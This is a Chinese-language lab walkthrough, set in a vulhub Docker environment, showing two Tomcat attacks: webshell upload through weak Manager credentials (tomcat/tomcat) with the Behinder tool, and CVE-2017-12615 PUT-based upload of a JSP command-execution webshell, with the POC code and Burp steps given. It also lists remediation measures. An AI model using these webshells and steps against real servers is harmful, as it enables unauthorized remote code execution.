環境:centOS7
tomcat
docker
需要工具:java 環境、冰蝎
弱口令利用,並上傳#
文件位置:
/root/CVE/vulhub-master/tomcat/tomcat8
在虛擬機中運行 docker,命令
docker-compose up -d
再查詢虛擬機的 IP 地址,在本機中打開,tomcat 默認端口 8080
可以看到右上角有個 manager App
利用弱口令進入:用戶名 tomcat,密碼 tomcat
進入網頁,發現有上傳東西的地方
然後打開冰蝎準備上傳 shell
選 default_aes ,然後點擊生成服務端
之後自動彈出一個文件夾,裡面有需要的 shell 文件
打開 cmd,選擇其中一個.jsp
輸入命令
jar cvf shell.war .\shell.jsp
將 shell 文件打包成 war 包,準備上傳
提示成功,打開地址驗證一下
http://192.168.1.4:8080/shell/shell.jsp
發現成功,打開冰蝎,點擊新增,輸入剛才的地址
這樣就拿到了 shell
修復方案
1、更改弱密碼(治標不治本)
2、在系統上以低權限運行 Tomcat 應用程序。創建一個專門的
Tomcat 服務用戶,該用戶只能擁有一組最小權限(例如不允許遠程登錄)。
3、增加對於本地和基於證書的身份驗證,部署賬戶鎖定機制 (對於集中式認證,目錄服務也要做相應配置)。
在 CATALINA_HOME/conf/web.xml 文件設置鎖定機制和時間超時限制。
4、以及針對 manager-gui/manager-status/manager-script 等目錄頁面設置最小權限訪問限制。
CVE-2017-12615—— 遠程代碼執行#
試試點擊 Manager App,被攔截了
現在打開 BrupSuite
準備好提供的 POC
<%@ page language="java" import="java.util.,java.io." pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("
將攔截到的發送到 Repeater
將 GET 改為 PUT /1.jsp/,再在下面添加上之前準備的 POC
狀態碼提示為 201,為上傳成功了,打開地址
嘗試輸入指令
http://192.168.1.4:8080/1.jsp?pwd=023&cmd=id
同理,這裡的 POC,可以替換為冰蝎的 shell,從而更好的拿到 shell